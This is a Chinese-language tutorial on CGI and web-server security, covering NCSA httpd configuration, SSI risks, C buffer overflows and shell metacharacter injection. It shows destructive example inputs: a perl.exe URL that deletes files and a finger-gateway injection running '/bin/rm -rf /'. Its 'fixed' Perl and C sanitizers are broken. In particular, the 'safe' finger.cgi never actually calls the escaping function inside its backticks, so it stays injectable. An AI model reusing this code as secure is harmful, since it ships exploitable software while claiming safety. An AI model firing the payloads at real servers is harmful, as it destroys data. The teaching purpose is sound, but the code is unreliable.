![[ 永遠的UNIX::UNIX技術資料的寶庫 ]](/images/title.gif) GB | BIG5
|
| 首頁 > 安全技術 > 程序 > 正文 |
 |
| CGI安全問題 |
| 本文出自:http://sinbad.zhoubin.com 作者: 千禧星 (2002-11-26 06:02:01) |
如果你以前從未編寫過應用網絡的軟件，那安全問題可能是你在編程時最不注重的了
。畢竟，在單機上，你沒有必要擔心寫了不安全的程序，因為，大概也只能有一個人可以接
近那台計算機。
但是，在編寫應用Internet的軟件中需要非常強調安全問題。有一個挺老的計算機格言
說："使一台計算機真正安全的唯一方法是將它與世界斷開連接並把計算機放到緊鎖的房間裡
。"可見，將計算機和一個網絡簡單相連就會降低你的計算機的安全性。
對越大的相連的網絡這句話越適用，比如Internet,這裡有成千上萬的人可能會訪問你的
計算機。很多基Internet的服務，特別是WWW,別設計成能使其他人很容易的從你的計算機
中獲取信息。這些你允許接受訪問的服務（或者是有意的，或者是無意的）都有可能成為老
謀深算、心懷惡意的人的攻擊途徑。一個很糟糕的網絡服務器很容易被攻破，甚至潛在給出
了可以訪問你的整個計算機和重要數據的權限。
我說你提供的每一項網絡就象進入你系統中另一個門，是指什呢？什才是安全破壞呢
？不管是什目的，安全破壞是指一個人從你的計算機中獲得了未經授權的訪問權。"Unaut
horized access"(未經授權的訪問權)也可以理解為很多事情，試圖從服務器上運行一個非公
共的程序，甚至是獲得在Unix中獲得root權限。
你過多的依賴為網絡服務器編寫安全程序的程序員的知識和細心。畢竟，沒有人指望你
詳細審查幾千行的源碼只為了弄清楚軟件是否有安全漏洞；大多數情況，你依賴編程者的可
靠性和其他審閱源碼和仔細的幫助測試軟件的專家。假如網虫們証明了你不能完全相信這些
程序員可以寫出完美的安全的代碼，那你可以採取措施最大限度的減少風險。
在面的"保護你的Web服務器",你將學習Web服務器的安全。目前，假定你的應用Web服
務器的軟件是安全的，並且正確的配置了；也就是說，沒有人可以僅僅通過你的Web服務器從
你的機器中獲得未經授權的權限。為什寫安全的CGI腳本很重要呢？CGI是一個允許你拓展
Web服務器的一般協議。通過編寫CGI程序，你能夠增加Web服務器的功能。這些功能很可能無
意中引入新的安全漏洞。一個糟糕的CGI應用程序很可能允許任何人擁有你的機器的完全的權
限。用戶提交一個表單或者是以另一種方式訪問CGI腳本的時候，本質上來說，是你允許他們
遠程運行你的服務器中的應用程序。因為很多的CGI應用程序接受用戶的表單輸入（或通過填
寫表，或是通過命令行），從另一個角度來說，你允許用戶控制CGI程序的運行。作為CGI程
序的作者，你需要確定你的CGI腳本只能用來實現它指定的功能。這一章提到了相關的Web安
全問題，提供了編寫安全的CGI程序的深入的資料。在本章的最，你也會學會怎樣安全的編
寫CGI。
1. 基本的安全問題
你的Web服務器的全面的安全性取決很多因素。如果你的Web服務器沒有正確配置或者系
統有其它漏洞的話，那一個安全的CGI程序也是毫無用處的。這裡，我論述一些相關的Web
安全問題，並說明如何為CGI程序正確的配置你的Web服務器。
1-1. 操作系統
一個通常的問題是什樣的平台對Web服務器來說更安全？運行System 7的Macintosh,Uni
x的工作站，運行OS/2或Linux的PC等等。在這個問題上有過很多爭論，這些反映了人們對不
同的操作系統的不同的偏愛。沒有一個操作系統比另外一個明顯安全。Unix被認為比單用戶
的平台（比如Macintosh或者是運行著Windows的PC）更安全，因為曾經有人攻破過一些運行
著者(注：括號中)的機器，並擁有了所有文件的權限。然而對Unix，有一個關文件屬
主和權限的基本的理解。如果你的服務器正確的配置了,並被一個安全的用戶（比如：非roo
t用戶）擁有，這時候，如果未經授權的用戶闖進來，
他（她）只能造成有限的破壞。然而，有限的破壞已經夠糟糕了，在以的章節的例子中你
會明白。
另一方面，因為Unix經常要配置很多不同類型的網絡服務，比如mail,FTP,Gopher,WWW等等
,因此，有更多的潛在的“門”。加強這些服務的安全性是一個耗時的過程，甚至對有經驗
的系統管理員亦如此。即使你每項配置正確無誤，然而在每個單獨的軟件包裡仍有可能出現
惱人的bug。安全漏洞在各種軟件包中並不是罕見的，從一些組織（比如CERT(the Computer
Emergency ResponseTeam))的有關各種的Unix網絡服務周期性的通知中我們可以清楚的了解
到。 每一個不同的平台都有其不同的安全含意，但是不能彼此比較安全性。盡管
你應該注意每個操作系統的安全性，但是這不應該成為你選擇平台的主要標準。選擇你的平
台，糾正有關該平台相關的安全漏洞，然安全正確的配置你的Web服務器。在你完完全全的
完成這些步驟之，你才應該將你的精力投入到編寫安全的CGI腳本中去。
1-2. 保護你的服務器
編寫安全的CGI腳本的第一步要確定你安全並正確的配置了你的Web服務器。如果你的Web服
務器並不可靠，那即使你再仔細編寫你的CGI腳本也是沒有用的,人們仍然可以闖入你的計算
機。而且，正確的配置你的Web服務器能夠減小糟糕的CGI程序所帶來的可能的危害。
其它：選擇一個安全的Web服務器
在不同的平台有數不清的Web服務器可供使用。如果可能的話，自我確定一個產品是否安全
是很困難的，你將不得不依靠公司的信譽和口頭承諾。檢查你的選擇。在你擁有了一個Web服
務器的列表之，看一下每個產品的有效期以及目前有多少人使用它。越老的並且經常使用
的Web服務器，有關的安全方面的bug越有可能被發現並修補。如果源碼是開放的，並且你有
時間和專門技術，自己從頭至尾看一下源文件，看看能否找到潛在的漏洞。閱讀網絡中不同
的新聞組對該產品以及作者和發行人的評論。名的公司或作者會很快的通知用戶
其產品的任何問題。閱讀各個組織（如CIAC(Computer Incident AdvisoryCapability)和CE
RT）有關安全方面的警告信息。檢查所有的服務器組件並確定你是否真的需要所有組件的特
性。越復雜、功能
越強大的服務器，越有可能存在未被發現的安全問題。確定你的服務器支持日志功能，這樣
你可以跟蹤安全問題或其它故障的原因。 有一個對付意外事件的計劃。如果發現安全漏洞，
要隨時準備升級或者替換你的Web服務器。關注新版本的發行和新聞組中有關你的Web服務器
的信息。盡量使用Web服務器最新的非測試的版本。不必擔心免費的服務器。關開發源碼使
服務器更安全或者相反有爭論。如果服務器的源碼不公開，安全漏洞將更難發現。如果源碼
公開，那，理論上，漏洞將很快被發現，公開並得到修補。
在增強服務器的安全性時，應該有三個目的：
A.配置你的程序使它只能提供你指定的服務。
B.不到必要的時候不暴露任何信息。
C.如果系統遭到入侵，最大限度地減少損壞。
我知道的有關你的計算機的信息越多，我就越有機會闖入你的計算機。例如，如果我知道
哪個目錄或者文件夾存儲了你的所有的敏感的、私有的信息，這樣，我將進入你的系統獲取
全部訪問權縮小至只是獲得某個目錄的權限（通常是更容易了）。或者，如果我可以訪問你
的服務器配置文件或源碼或者是你的CGI腳本，那我可以很容易的瀏覽它們來尋找安全漏洞。
如果你的系統有漏洞，你不想讓別人輕易知道，你必須在別人之前發現它們。
1-2-1.你應該在什地方放置你的CGI程序?
很多服務器允許你通過各種不同途徑來運行CGI程序。例如，你可以指定一個特定的目錄作
為你的cgi-bin。或者，你可以允許CGI存放在任何目錄下。
這兩種方法都有優缺點，但是從安全的角度來說，在一個指定的目錄中放置你的所有的C
GI應用程序更好。把所有的程序放到同一個目錄使你很容易跟蹤你服務器器所有的應用程序
並審查它們的安全漏洞,同時，還可以防止被惡意修改。
如果你傾向使用描述型的語言(例如Perl)來編寫你的大部分的應用程序，那源碼被包
含在程序自身中。如果你不小心的話，這些代碼很容易被閱讀，甚至被利用。例如，很多文
本編輯器存儲備份的文件，通常在文件名的面加一個擴展名（比如.bak）。
舉個例子，emacs使用擴展文件名~存儲備份文件。假設你使用Perl編寫了一個CGI腳本
program.cgi存儲在Web的數據目錄而非中心的指定的目錄中。現在，假設你使用emac
s對程序做了一些瑣碎的修改而忘記了刪除備份文件。現在，在你的目錄裡有了兩個文件：p
rogram.cgi和program.cgi~。Web服務器知道以.cgi結尾的文件是CGI程序,它會運行這個程序
而不是顯示它的內容.然而,聰明的用戶可能嘗試訪問program.cgi~.因為它不是以.cgi結尾,
你的Web服務器將
它以原始的文本文件發送出去,這樣就允許用戶查看你的源代碼來搜尋可能的漏洞.這違反了
避免暴露不必要信息的原則.
當然,如果你的服務器允許你指定位某一特定的目錄下的文件均為CGI,那這個文件的擴
展名是什也就無關緊要了.這樣,在前面的例子中,如果備份文件放在這樣特定的目錄裡,當
用戶試圖訪問它時,服務器就會運行這個程序而不是發送源代碼.
注意到在你的服務器中指定一個中心目錄作為CGI程序的存放位置是有限定的,特別是在多
用戶系統中.例如,如果你是一個ISP(Internet Service Provider)並且你想讓你的的用戶可
以編寫並運行他自己的CGI程序,你可能有意允許CGI程序可以存放在任何的目錄中.做這個之
前,認真考慮一下可替換的選項.你的客戶們打算寫很多的特定的個性化的腳本嗎?如果不是,
最好是讓你的客戶將他的CGI腳本提交給你,然由你將其添加到cgi-bin目錄中,而不要允許
CGI可在任何目錄中有效.
關CGI程序的位置另外一個問題是將解釋器放在哪裡.解釋腳本時,服務器運行解釋器,由
它順序裝載腳本並執行.不要將解釋器放到你的cgi-bin目錄中,或其他有關你的數據結構的任
何目錄中.給了用戶訪問解釋器的權限本質上就是給了他們運行你的系統中任何程序或命令的
權力.
如果你使用Windows或其他的非Unix操作系統,這尤其重要.在Unix系統中,你可以在腳本的
第一行中指定解釋器.例如:
#!/usr/local/bin/perl
# this first line says use Perl to run the following script
在Windows中,舉個例子,沒有類似在腳本中指定解釋器的方法.一個調用Perl腳本的方法是
建立一個批處理文件來調用Perl和腳本:
rem progname.bat
rem a wrapper for my perl script, progname.pl
c:\perl\perl.exe progname.pl
然而,你也許傾向避免建立額外的程序,只是簡單的將perl.exe放在你的cgi-bin目錄中,
並訪問如下的URL:
http://hostname/cgi-bin/perl.exe?progname.pl
這也行,但是這樣也允許了網絡上的任何一個人運行你機器中的Perl命令.例如,可以訪問如
下的URL:
http://hostname/cgi-bin/perl.exe?-e+unlink+%3C*.*%3E%3
經過解碼,其相當調用Perl並運行下面的一行程序,這行程序將刪除當前目錄的所有文件
.顯然,這是我們不想的.
unlink <*.*>;
你永遠沒有理由將解釋器放入你的cgi-bin目錄中(或者其他可以運行CGI的目錄),所以千萬
不要這做.一些Windows服務器能夠根據其擴展名辨別腳本的類型並運行相應的解釋器.例如
,Win-HTTPD認為每一個以.pl結尾的CGI腳本是Perl腳本,並自動運行Perl.如果你
的Web服務器沒有這個特性,就像這章第一個Windows Perl例子那樣使用包裝的腳本.More:我
應該使用一個解釋器嗎?
如果你使用一個Unix或者是Macintosh的Web服務器的話,記住永遠不要冒險將一個解釋器放
到你的cgi-bin中.前面我們提到過,Unix允許你指定特定的位置給包含腳本的解釋器.為了在
Macintosh中使這些腳本有效,你可以使用一個應用程序如ResEdit編輯代碼將腳本與挪用的解
釋器結合.
1-2-2.SSI(Server-Side Includes)("服務器嵌入指令")
在第四章中，你已經知道了應該避免服務器嵌入指令的原因。一個經常提出的一般原因是
安全性。很顯然，一些服務器嵌入指令(特別是NCSA和Netsape)的執行會允許用戶將程序輸入
包含到HTML文件中。每次當這些HTML文件被訪問時，在服務器端程序會運行並將輸出作為HT
ML文件的一部分顯示出來。
允許這種服務器的嵌入指令，你就很容易受到一些安全風險的影響。首先，
在Unix的計算機中，程序由服務器的所有者運行，而不是程序的所有者。如果你的服務器沒
有正確配置，並且將重要的文件或程序交給服務器的所有者，這些文件和程序以及它們的輸
出有可能被你的計算機的用戶所訪問。
當你允許用戶通過瀏覽器修改你系統中的HTML文件時，這種風險就增大了。一個通常的例
子是留言本。在留言本中，用戶填寫表單並把信息提交到CGI程序中，程序一般是將未編輯的
信息附加到一個HTML文件中。如果不編輯或過濾提交的信息，你就允許了用戶從他或她的瀏
覽器中提交HTML代碼。如果你允許程序在服務器端嵌入執行，不懷好意的用戶就可以通過提
交如下的附加代碼給你的機器造成破壞:
（略）
這個服務器嵌入指令將試圖盡可能地刪除你的機器中的所有內容。
你可以通過很多方法避免這個問題，而不需要完全關閉服務器嵌入。你可以在將提交的文
本附加到你的留言本之前過濾所有的HTML附加代碼。或者你可以禁止你的服務器嵌入中的ex
ec的功能(在這章面的"增強你的Unix服務器的安全"中我將演示在NCSA服務器中如何做)。
如果你忘記了其中的任何一條,其他的一些防護措施同樣可以很大程度上減少因這種附加代
碼造成的危害.例如,只要你的服務器以不存在的用戶,非root的身份運行,這個附加代碼不會
刪除任何重要的東西,可能什也不會丟掉.假設不還好意者不是試圖刪除你的磁盤上的所有
東西,而是使用如下的代碼獲取你的
/etc/passwd作為破解之用:
（略）
當然,如果你的系統使用的是shadow型的passwd檔,那你的/etc/passwd對潛伏的hacker來
說毫無用處.
這個例子論証了通常的服務器端嵌入指令和CGI中兩個很重要的問題.首先,安全漏洞可以被完
全隱藏.誰會想到一個簡單的使用SSI編寫的留言本程序可以體現如此之大的安全風險?其次,
一個安全漏洞的潛在的危害可以通過正確配置你的服務器和加強你的系統安全來降低到最小
.
1-2-3.增強你的Unix服務器的安全
一個安全的Unix系統對Web文件服務來說是個非常優秀的平台。然而，在加強服務器安全
和正確配置Unix的Web服務器的過程中伴隨著很多復雜的問題。你應該做的第一件事就是確定
你的機器已經盡可能的安全了。
將你不需要的網絡服務關掉，不管對你而言他們是多沒有害處。任何人未必能使用finger
協議侵入你的系統，舉個例子，它提供了一些用戶的信息，然而，finger可以提供給hacker
關你的系統的有用的信息。
加強你的系統的內部安全。如果hacker設法破解了一個用戶帳號，要確定這個hacker不會
獲得額外的權限。安全shadow型的password文件和去除設定用戶權限的腳本(腳本以所有者的
身份運行，即使是由其他用戶調用時）是很有用的。
加強Unix機器的安全是一個復雜的課題，超出了本書的范圍。我強烈建議你購買一本這方
面的書，閱讀Internet上這方面的資源，如果有必要的話，甚至可以雇傭一個咨詢顧問。不
要低估加強你的機器安全的重要性。
另外，分配隔離的空間給你的Web服務器和文件。你的文件目錄的用途是將這些文件提供給
其他人使用，可能是整個Internet,因此你不要將你別人知道的任何東西放到這些目錄裡。你
的服務器目錄包含重要的日志和配置信息，並且你要盡可能的不要讓你的內部用戶看到或修
改它。
要明智的設置你的目錄和服務器的所有權和使用權。為Web相關的目錄建立一個新的用戶和
組是通常的一個方法。確定非特權用戶不能更改服務器或文件目錄。
你的服務器千萬不要以root身份運行(running as root)。在Unix系統中，只有root能夠訪
問小1234(Sinbad: should be 1024)的端口。因為缺省的Web服務器運行端口80,你需要
是root來啟動一個Web服務器。然而，在一個Web服務器以root身份運行以，它可以修改自
身進程的所有權，或者改變它用以處理連接的子進程的所有權。其中任何一種方法都需要服
務器以非root身份運行。確定配置你的Web服務器使其以非root身份運行，最好是以一個完全
不存在的用戶如nobody。這樣，如
果在你的Web服務器或CGI程序中有漏洞時，它可以降低潛在的危害。
禁止所有你不需要的服務器特性。如果你開始禁止了一個特性，而來又決定使用它時，
你總是可以將其改回來的。像SSI和SSL都是你可能需要禁止的。
如果你的用戶不需要通過你的服務器將他們個人的Web文件用服務，就需要使Web目錄無
效。這樣一來，你就可以完全地控制你的機器中用服務的所有文件，這對通常的維護和
安全是很重要的。
如果你的用戶需要將他們個人文件用服務（例如，如果你是一個IAP(InternetAccess P
rovider),確信他們不能超越你的主范圍。認真考慮一下用戶是否需要在他們的個人目錄裡運
行CGI程序的權力。前面我們已經提到，最好將所有的CGI放到一個集中的位置
CGIWRAP:
在Web上一個流行的軟件包是cgiwrap,由Nathan Neulinger(nneul@umr.edu)編寫。這個軟
件包允許用戶作為程序的擁有者運行他們自己的CGI程序，而不是作為服務器的所有者。
不清楚僅僅允許所有人運行他們自己的未包裝的CGI程序是更否更有益。一方面，一個糟糕
的CGI腳本由nobody擁有比起由一個實際存在的用戶擁有來說，前者可能造成的危害更小。另
一方面，如果CGI程序以nobody運行對系統造成了破壞，那責任在系統管理員，相反，如
果只是一個特定的用戶文件被破壞了，那責任終將是用戶的。
我的建議是不要賦予用戶運行個人CGI的權力，如果這樣不可能，那你最終使用cgiwrap
還是一個簡單的程序取決你想責任出在哪裡。
最，你可能需要考慮你的Web文件建立一個chroot環境。在Unix系統中，你可以通過使用
chroot來保護目錄。當server運行在一個chroot的目錄中時，它看不到這個目錄之外的任何
東西。在一個chroot環境中，如果有人想侵入你的Web服務器，他們只會破壞這個目錄裡的文
件。
注意，一個chroot環境僅適用當Web服務器提供單獨的文件資源。如果你的Web服務器將
用服務的用戶文件存放在多個目錄中時，想建立一個有效的chroot環境幾乎是不可能的。
另外，解釋器(例如Perl或者一個shell)的存在也會降低chroot環境的性能。在一個沒有任何
shell和解釋器的chroot環境中，侵入系統的人最壞情況下能改變和破壞你的文件，如果存在
解釋器，潛在的危害會上升。
1-2-4.例子：安全的配置NCSA服務器
我將通過討論NCSA服務器(v1.4.2)來論証怎樣著手正確地配置Unix環境下的通用的Web服務
器。有很多Web服務器可以運行在Unix系統下，NCSA是最早的服務器之一，被廣泛使用並且屬
自由軟件，而且相當容易配置。我僅說明我認為對Web服務器安全方面有關的配置；想獲得
有關配置NCSA httpd更多詳細的說明，請參照它的站點：
http://hoohoo.ncsa.uiuc.edu/
你可以將這裡說明的原則應用到幾乎所有的Unix Web服務器中。
首先，我需要表明我的目標。在這個方案中，我想將NCSA服務器架設在一個很小的名為My
Company的ISP的安全的Unix機器上。這台機器的域名為www.mycompany.net。我需要我的機器
中的每一個擁有帳號的人能夠將他或她的Web文件用服務並可以使用CGI或其他的特性。
我絕對應該需要什特性呢？這裡，因為我是一個很小的ISP,我不能讓用戶自行將其CGI用
服務。如果他們想寫出並使用他們自己的CGI程序，他們必須將其提交給我來檢查；如果C
GI程序沒問題，我就安裝它。另外，我要提供一些通常需要的一般的程序，比如留言本和各
類表單處理的應用程序。現在，這個方案裡我不需要其他任何的特性了，包括服務器嵌入指
令。
我們來看一下我將如何配置我的Web服務器。我將建立用戶和www組；這些將擁有所有恰當
的目錄。我將建立一個目錄來存放我的服務器文件(/usr/local/etc/httpd/)和存放Web文件
的目錄(/usr/local/etc/httpd/htdocs/)。所有這些目錄對全球是可讀的對所建立的用戶和
組是可寫的。
現在，我將要配置服務器。NCSA HTTPD有三個配置文件：access.conf,httpd.conf和srm.
conf。首先，你需要告訴httpd你的Server和HTML的目錄所在。在httpd.conf中，以如下一行
來指定Server的目錄:
ServerRoot /usr/local/etc/httpd
在srm.conf中，這樣指定文件目錄：
DocumentRoot /usr/local/etc/httpd/htdocs
因為我想指定在/usr/local/etc/httpd/cgi-bin目錄中的所有文件為CGI程序，在srm.con
f中包含如下一行：
ScriptAlias /cgi-bin/ /usr/local/etc/httpd/cgi-bin
注意我的cgi-bin目錄的實際位置在我的服務器目錄而不是文件目錄。因為我想要使我的服
務器目錄(包括包含CGI的目錄)盡量為私有,我將它放到文件目錄以外。如果你在該目錄中有
一個名為mail.cgi的CGI,我可以通過如下的URL訪問它:
http://www.mycompany.net/cgi-bin/mail.cgi
在srm.conf中需要編輯另一行；它對我們追求特定的服務器安全不是特別有關系，但是為
了徹底的安全，我還是要提到它:
Alias /icons/ /usr/local/etc/httpd/icons
這個Alias指令允許我們為你的文件目錄樹內部或以外的目錄指定一個別名。與ScriptAli
as指令不同，Alias並不改變目錄的含義。
因為我需要禁止服務器嵌入指令，並不允許CGI在cgi-bin以為的目錄運行，在srm.conf中
我通過在行首插入一個英鎊符號(#)注釋掉幾行:
#AddType text/x-server-parsed-html.shtml
#AddType application/x-httpd-cgi.cgi
AddType可以幫助你在MIME類型和文件擴展名間建立關聯。text/x-server-parsed-html對
parsed HTML來說是MIME類型，而application/x-httpd-cgi則是CGI應用程序類型。這裡，我
不需要為這種MIME類型指定擴展名，因為在配置服務器的時候，我們忽略cgi-bin中的所有文
件擴展名，一律被視為CGI。
最，我需要通過編輯全局的access.conf文件來設置某些目錄的屬性和訪問權限。為了為
所有的目錄定義全局的參數，僅僅將沒有任何環境標記的指令放到文件中。為了為特定的目
錄指定參數，在directoryname是目錄的全路徑時,通過來包含指令。
缺省情況下，下面的全局選項這樣設置:
Options Indexes FollowSymLinks
當URL指定的目錄裡沒有要查找的文件時，Indexes允許你指定一個文件。缺省情況下，這
個變量為index.html,通過srm.conf中的DirectoryIndex來指定，很符合我們的意圖。Follo
wSymLinks意指服務器會返回符號連接指向的數據。我沒看到這個特性的必要性，所以我禁止
了它。現在，這一行看起來象這樣：
Options Indexes
如果我想在任何目錄中使CGI程序有效，我可以通過包含ExecCGI選項來設置:
Options Indexes ExecCGI
這一行，結合在srm.conf中的AddType指令，可以允許我通過在任何目錄中給所有的CGI程
序添加.cgi的擴展名來執行一個CGI。
缺省情況下NCSA httpd的配置，通過在一個具有適當的屬性和訪問限制的特定目錄中創建
.htaccess文件使access.conf中的所有設置都可以被超越。在這種情況下，我不介意用戶改
變它們的訪問限制。然而，我不想賦予用戶在他們自己的目錄裡執行CGI和.htaccess文件的
能力。
AddType application/x-httpd-cgi .cgi
Options Indexes ExecCGI
因此，我編輯access.conf來允許用戶超越除了選項外所有的設置：
AllowOverride FileInfo AuthConfig Limit
現在，我的服務器安全的配置了。我只允許在cgi-bin目錄中運行CGI,並且使服務器嵌入指
令完全無效。服務器以nobody用戶運行，一個我的系統中不存在的用戶。我禁止了所有我不
需要的特性，並且用戶不能超越這些年特殊的限制。想了解很多的其他的配置信息，包括詳
盡的訪問限制，請參照NCSA服務器說明文件。
2.寫出安全的CGI程序
假設你已經使的你的計算機和Web服務器很安全了，那你面就應該學會怎樣寫出一個安
全性很好的CGI程序。編寫安全的CGI的原則和前面提到的相似：
A.你的程序只能實現你指定的功能。
B.不要給客戶額外的它不需要知道的信息。
C.不要相信客戶給你正確的信息。
關第一條可能存在的安全隱患我在guestbook的例子中已經說明了。我提到了幾個可以揭
露漏洞的常見的錯誤，但是，你同樣應該記住：你應當考慮你所應用的每一個函數的所有含
義。
第二條是一般安全性原則的簡單擴展：系統之外的人對你的系統了解的越少，你的系統就越
沒有可能被攻破。
最一條原則只是一條很好的很重要的編程原則，但同樣也是安全性很好的一個。CGI程序
應該是安全可靠、健壯的。一個hacker可能做的第一件事是想盡一切辦法通過在你的CGI程序
中不斷調整輸入來搞亂程序，進而達到攻入計算機的目的。如果你的程序並不健壯，那這
時，它或者會崩潰，或者會實現其它的功能(當然這些功能是你不允許的)。這兩種可能性都
是令人不快的。為了杜絕這種可能性，不要對你的客戶可能發送的信息格式或值作任何的假
定。
大多數CGI程序的本質是簡單的輸入/輸出程序。它提取客戶端的說明並返回一些響應。這
種程序幾乎沒有風險（當然也會出現漏洞，面你會看到）。因為CGI程序並不對輸入感興趣
，沒有什錯誤可能發生。然而，一旦你的程序利用輸入啟動，可能回調用其他的程序，寫
文件，或者做一些功能更強大的而非簡單返回輸出的事情，那你就會冒引入安全漏洞的風
險。通常，功能是直接和安全風險成比例的。
2-1.語言的風險性
不同的語言有其與生俱來的安全風險。任何語言都可以編寫安全的CGI程序，但是你必須注
意每個語言的怪癖（急轉）。這裡，我只討論C和Perl，但是它們的有些特性並不適用其它
語言。想得到其他語言的指定信息，請參照適當的文件。
在前面的章節我們學到，一般來說，編譯CGI程序比解釋腳本更可取。編譯程序有兩個優勢
：首先，你不需要有服務器可理解的解釋器；其次，程序的源文件是不可訪問的。注意，像
Perl一樣的傳統的解釋型語言可以被編譯成二進制形式。(關如何在Perl中實現，請參閱L
arry Wall和Randall Schwartz的《Perl編程》)從安全立場來說，編譯的Perl程序和編譯的
C程序一樣好用。 像C這樣比較低級的語言會出現被稱為buffer overflow的問題。C語言並沒
有處理字符串的好的內置的方法。通常的方法或者是聲明一個字符數組或者指向字符的指針
。很多人傾向前一種方法，因為它編程比較簡單。思考一下下面兩個功能等價的程序代碼
。
程序1. 在C語言中使用數組定義字符串.
#include
#include
#define message "Hello, world!"
int main()
{
char buffer[80];
strcpy(buffer,message);
printf("%s\n",buffer);
return 0;
}
程序2. 在C語言中使用指針定義字符串.
#include
#include
#define message "Hello, world!"
int main()
{
char *buffer = malloc(sizeof(char) * (strlen(message) + 1));
strcpy(buffer,message);
printf("%s\n",buffer);
return 0;
}
程序1比程序2簡單得多，而且在這個特定的例子裡，兩者都可以很好的工作。我們假設有
這樣一個例子：我已經知道了我處理的字符串的長度，因此，我可以定義一個適當的數組長
度。但是，在CGI程序裡，你不知道輸入的字符串會有多長。舉個例子，如果信息的長度大
80 char，那程序1會崩潰(即我們通常說的"溢出")。
這被稱為buffer overflow,聰明的hacker就會利用這個來遠程執行命令。這個緩沖溢出的
bug存在NCSA httpd v1.3中。這是為什一個網絡（或CGI）程序員需要更細心地編程的很
好的例子。在一個單用戶的機器裡，緩沖溢出只能造成系統崩潰。在崩潰的單用戶計算機中
沒有必要利用緩沖溢出來執行程序，因為大概你已經執行了你需要的任何程序（除了公共終
端）。然而，在網絡系統中，一個崩潰的CGI程序遠不是這簡單，它會成為未經授權的用戶
進入的門。
程序2中的代碼解決了兩個問題。首先，它動態的分配了存儲字符串的足夠的空間。其次，
注意我將信息的長度加了1。這樣，我實際上分配了比字符串長度多1字節的內存。這就保証
字符串不會是0。因為目標字符總是會為額外的字符留有空間，strcpy()函數在目標字符串的
最添加了空字符，strcpy()放置了空字符。沒有理由認為傳送給CGI腳本的字符串會是空字
符，因此，為了以防萬一，我在最留了1字節的空間。
倘若你的C程序避免了像緩沖溢出這樣的問題，那你就可以寫出安全的CGI程序。然而，
這是艱苦的工作，特別是當你的CGI很大更復雜的時候。這些問題將迫使你花費比一般的CGI
任務更多的時間來思索低級語言的設計工作。基這個原因，你可能更喜歡高級一點的編程
語言(如Perl)。
然而，具有高級特點的Perl有著冒失的一面。盡管你能假設Perl會正確地處理字符串的存
儲，但當Perl使用你並不注意的高級一點的語法做一些事情時，很可能會有危險。在下一節
中你會更清楚的了解到。
2-2.shell危險性
很多的CGI任務都可以使用其他的程序很容易的實現。例如，你要寫一個CGI的郵件網關,完
全使用CGI程序來完成執行郵件的發送代理是很愚蠢的行為。更實用的方法是將數據通過管道
傳送到一個存在的郵件傳送代理程序，比如sendmail,然讓sendmail來完成剩下的工作。這
種習慣很好並值得鼓勵。 安全風險依賴你怎樣調用這些外部的程序。完成這項工作在Per
l和C中有很多函數可以實現。它們中很多函數通過調用shell，然讓shell來執行這個命令
。這些命令被列在表1中，如果你使用了它們中的一個，那你就使得Unix
shells在攻擊下顯得很脆弱。
表1. C和Perl中可以調用shell的函數.
Perl 函數 C 函數
system('...') system()
open('| ...') popen()
exec('...')
eval('...')
`...
為什shell很危險呢？有很多的非數字的字符可以通過shell轉換成特殊的字符。這些字
符被稱為元字符(譯者注:這裡我將metacharacter譯為元字符),見表2。
表2. Shell metacharacters.
; < > * | ` & $
! # ( ) [ ] : {
} ' "
每一個這種字符在shell中都起著特殊的作用。例如，假如你想利用finger來查詢一台計算
機並將結果存儲到一個文件中，你可以在命令行中如下輸入：
finger @fake.machine.org > results
這會使用finger查詢主機fake.machine.org並將查詢結果保存到一個文本文件results中。
這個>字符在這裡是一個重定向符。如果你要實際地使用>字符
例如，你想將它回顯到屏幕上你將需要在這個字符前加一個反斜槓。
舉個例子，下面將向屏幕輸出一個符號>:
echo \>
這被稱為轉義字符(escaping or sanitizing the character string)。
hacker是怎樣利用這個作為他（她）的優勢的？觀察以下程序3中用perl編寫的finger程序
。這個程序所做的是允許用戶查詢一個用戶和一台主機的詳細信息，並且，這個CGI可以查詢
用戶並顯示結果。
程序3. finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an unsafe finger gateway
require 'cgi-lib.pl';
print &PrintHeader;
if (&ReadParse(*in)) {
print "\n";
print `/usr/bin/finger $in{'username'}`;
print "\n";
}
else {
print " \n";
print "\n";
print "\n\n";
print "Finger Gateway\n";
print "\n";
print "User@Host: \n";
print "\n";
print "\n";
print " \n";
}
乍一看，這個程序好象沒有什害處。因為是用Perl編寫的，不會有bufferoverflow的危
險。我使用了finger的完全路徑，這樣gateway不會被偽造的finger程序所欺騙。如果輸入是
一個不合適的格式，那gateway將返回一個錯誤而不會被人利用。u
但是，如果我嘗試如下的輸入會怎樣呢(如圖1所示)
nobody@nowhere.org;/bin/rm -rf /
FINGER GATEWAY
User@Host: |nobody@nowhere.org ; /bin/rm -rf / |
| Submit Query |
我們來看一下下面的程序行會如何處理這樣的輸入：
print `/usr/bin/finger $in{'username'}`
由你使用了向的標記，首先它會執行一個shell。然它將執行如下的命令:
/usr/bin/finger nobody@nowhere.org ; /bin/rm -rf /
這將會怎樣呢？假設在命令行像這樣輸入。它會刪除所有的文件和目錄，從root的目錄開
始。我們需要sanitize這個輸入來render the semicolon(;)metacharacter harmless.在Pe
rl中,利用表4中的函數可以很容易的實現。(C中的這些等價函數在表5中；它們來自cgihtml
的C庫。)
程序4. Perl中的escape_input().
sub escape_input {
@_ =~ s/([;<>\*\|`&\$!?#\(\)\[\]\{\}:'"\\])/\\$1/g;
return @_;
}
程序5. C語言中的escape_input().
char *escape_input(char *str)
/* takes string and escapes all metacharacters. should be used before
including string in system() or similar call. */
{
int i,j = 0;
char *new = malloc(sizeof(char) * (strlen(str) * 2 + 1));
for (i = 0; i < strlen(str); i++) {
printf("i = %d; j = %d\n",i,j);
switch (str[i]) {
case '|': case '&': case ';': case '(': case ')': case '<':
case '>': case '\'': case '"': case '*': case '?': case '\\':
case '[': case ']': case '$': case '!': case '#': case ';':
case '`': case '{': case '}':
new[j] = '\\';
j++;
break;
default:
break;
}
new[j] = str[i];
j++;
}
new[j] = '\n';
return new;
}
這將返回一個帶有跟隨在\的shell轉義字符的字符串。這個修正的finger.cgi網關在程
序6中。
程序6. 一個安全的finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an safe finger gateway
require 'cgi-lib.pl';
sub escape_input {
@_ =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;
return @_;
}
print &PrintHeader;
if (&ReadParse(*in)) {
print "\n";
print `/usr/bin/finger &escape_input($in{'username'})`;
print "\n";
}
else {
print " \n";
print "\n";
print "\n\n";
print "Finger Gateway\n";
print "\n";
print "User@Host: \n";
print "\n";
print "\n";
print " \n";
}
